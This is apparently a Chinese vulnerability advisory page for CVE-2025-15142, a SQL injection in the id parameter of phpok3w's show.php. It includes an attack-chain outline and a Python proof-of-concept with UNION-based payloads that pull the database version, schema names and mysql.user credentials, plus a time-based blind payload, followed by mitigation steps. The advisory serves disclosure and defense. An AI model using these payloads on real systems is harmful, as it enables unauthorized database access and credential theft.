IPBUF安全漏洞报告
English
CVE-2025-15142 CVSS 7.3 高危

CVE-2025-15142 phpok3w show.php SQL注入漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15142
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
phpok3w

相关标签

SQL注入phpok3wCVE-2025-15142高危漏洞远程代码执行Web安全数据库安全无需认证show.php

漏洞概述

CVE-2025-15142是phpok3w项目中的一个高危SQL注入漏洞,CVSS评分7.3。该漏洞存在于show.php文件的ID参数中,由于未对用户输入进行充分的过滤和验证,攻击者可以通过构造恶意的SQL语句实现对数据库的非法访问和操作。phpok3w是一个基于PHP开发的内容管理系统,该项目使用滚动发布模式提供持续更新。漏洞发现者通过vuldb.com平台披露了该问题,但截至目前项目维护者尚未做出响应或发布修复版本。由于该漏洞可被远程利用且无需认证,攻击者可以在不获取任何用户凭证的情况下发起攻击,对系统造成严重安全威胁。漏洞的公开利用代码已存在于网络上,进一步增加了被恶意利用的风险。

技术细节

该SQL注入漏洞位于phpok3w系统的show.php文件中,具体受影响的参数为ID参数。漏洞产生的根本原因是在构建SQL查询语句时,直接将用户可控的ID参数拼接到SQL语句中,而未进行任何过滤、转义或使用参数化查询。当攻击者通过HTTP请求向show.php文件提交包含SQL注入载荷的ID参数时,后端PHP代码会将其直接传递给数据库执行引擎,从而实现任意SQL语句的执行。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息,包括用户密码、配置文件内容、数据库版本信息等。在某些配置下,攻击者甚至可能通过 INTO OUTFILE 或 INTO DUMPFILE 等语句将恶意代码写入服务器,实现远程代码执行。由于该漏洞无需任何认证即可利用,且攻击向量简单明确,因此具有极高的危害性。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站使用的phpok3w系统,并通过扫描发现show.php文件存在
STEP 2
漏洞探测
攻击者向show.php文件的ID参数发送测试载荷,验证SQL注入漏洞的存在
STEP 3
信息收集
利用SQL注入获取数据库版本、数据库名称、表结构等关键信息
STEP 4
数据窃取
通过UNION注入或盲注技术提取敏感数据,包括用户凭证、管理员账户等
STEP 5
权限提升
利用获取的数据库凭据尝试登录后台管理系统或WebShell
STEP 6
持久化控制
通过数据库写入功能向服务器写入恶意文件,建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-15142 PoC - phpok3w SQL Injection in show.php # Target: phpok3w show.php file with vulnerable ID parameter target_url = "http://target.com/show.php" # SQL Injection Payloads for different extraction purposes # 1. Basic injection test - check if vulnerable payload_basic = "1' OR '1'='1" # 2. Database version extraction using UNION-based injection payload_db_version = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -" # 3. Database name extraction payload_db_name = "1' UNION SELECT NULL,database(),NULL,NULL,NULL-- -" # 4. User table credentials extraction (MySQL/MariaDB) payload_users = "1' UNION SELECT NULL,CONCAT(user,':',password),NULL,NULL,NULL FROM mysql.user-- -" # 5. All database names extraction payload_all_dbs = "1' UNION SELECT NULL,GROUP_CONCAT(schema_name),NULL,NULL,NULL FROM information_schema.schemata-- -" # 6. Time-based blind injection for data extraction payload_blind = "1' AND (SELECT IF(1=1,SLEEP(5),0))-- -" def test_vulnerability(): """Test basic SQL injection vulnerability""" params = {'id': payload_basic} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Target appears to be vulnerable to SQL injection") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_db_info(): """Extract database version and name""" version_params = {'id': payload_db_version} name_params = {'id': payload_db_name} try: version_resp = requests.get(target_url, params=version_params, timeout=10) name_resp = requests.get(target_url, params=name_params, timeout=10) print(f"[+] Database version: {version_resp.text}") print(f"[+] Database name: {name_resp.text}") except requests.RequestException as e: print(f"[-] Extraction failed: {e}") if __name__ == "__main__": print("CVE-2025-15142 phpok3w SQL Injection PoC") print("=" * 50) test_vulnerability()

影响范围

phpok3w <= 901d96a06809fb28b17f3a4362c59e70411c933c

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 通过Web服务器配置(如Nginx/Apache的URL重写规则)对show.php的ID参数进行输入过滤;2) 临时禁用show.php文件或将其访问限制在特定IP范围;3) 在应用层添加SQL注入检测逻辑,对异常SQL特征进行拦截;4) 加强数据库账户权限,限制Web应用连接账户的写操作权限;5) 部署入侵检测系统监控异常的数据库查询行为。建议持续关注phpok3w官方仓库的安全更新,尽快应用官方发布的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表